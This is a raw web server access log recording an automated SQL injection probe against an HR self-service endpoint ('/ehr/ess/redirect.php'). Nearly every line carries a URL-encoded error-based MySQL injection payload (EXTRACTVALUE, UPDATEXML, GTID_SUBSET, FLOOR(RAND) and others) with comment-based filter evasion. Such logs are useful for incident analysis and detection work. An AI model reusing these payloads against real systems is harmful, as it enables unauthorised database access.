100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4e63394b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x794e4d6f%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4e63394b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x794e4d6f%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x454b4e79%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x42687632%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x454b4e79%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x42687632%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x6e666c69%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3853426b%29%2C6420%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:15 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x6e666c69%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3853426b%29%2C6420%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x676f696e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x42674648%29%2C6420%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x676f696e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x42674648%29%2C6420%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x6333304d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3554694a%29%2C5431%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x6333304d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3554694a%29%2C5431%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x30763159%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x324d3075%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x30763159%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x324d3075%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x71564d63%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x77596e54%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x5448507a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x41524e63%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x5448507a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x41524e63%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x56494548%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x72704466%29%2C5431%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x56494548%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x72704466%29%2C5431%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x57644a4e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a433136%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x57644a4e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a433136%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x4a414245%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x38557948%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x4a414245%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x38557948%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x75516d52%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3255756d%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x75516d52%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3255756d%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4b626954%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x32504b71%29%29x%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4b626954%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x32504b71%29%29x%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x77536c6e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x30526e44%29%29x%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x77536c6e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x30526e44%29%29x%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x6775724d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6e664961%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x6775724d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6e664961%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x3074716f%2C%28NULL%29%2C0x79437975%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x3074716f%2C%28NULL%29%2C0x79437975%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2FORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x76575962%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x38423476%29%29%2C1%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2FORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x76575962%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x38423476%29%29%2C1%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x355a6171%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x305a565a%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x355a6171%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x305a565a%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:16 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x42393979%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3562506e%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
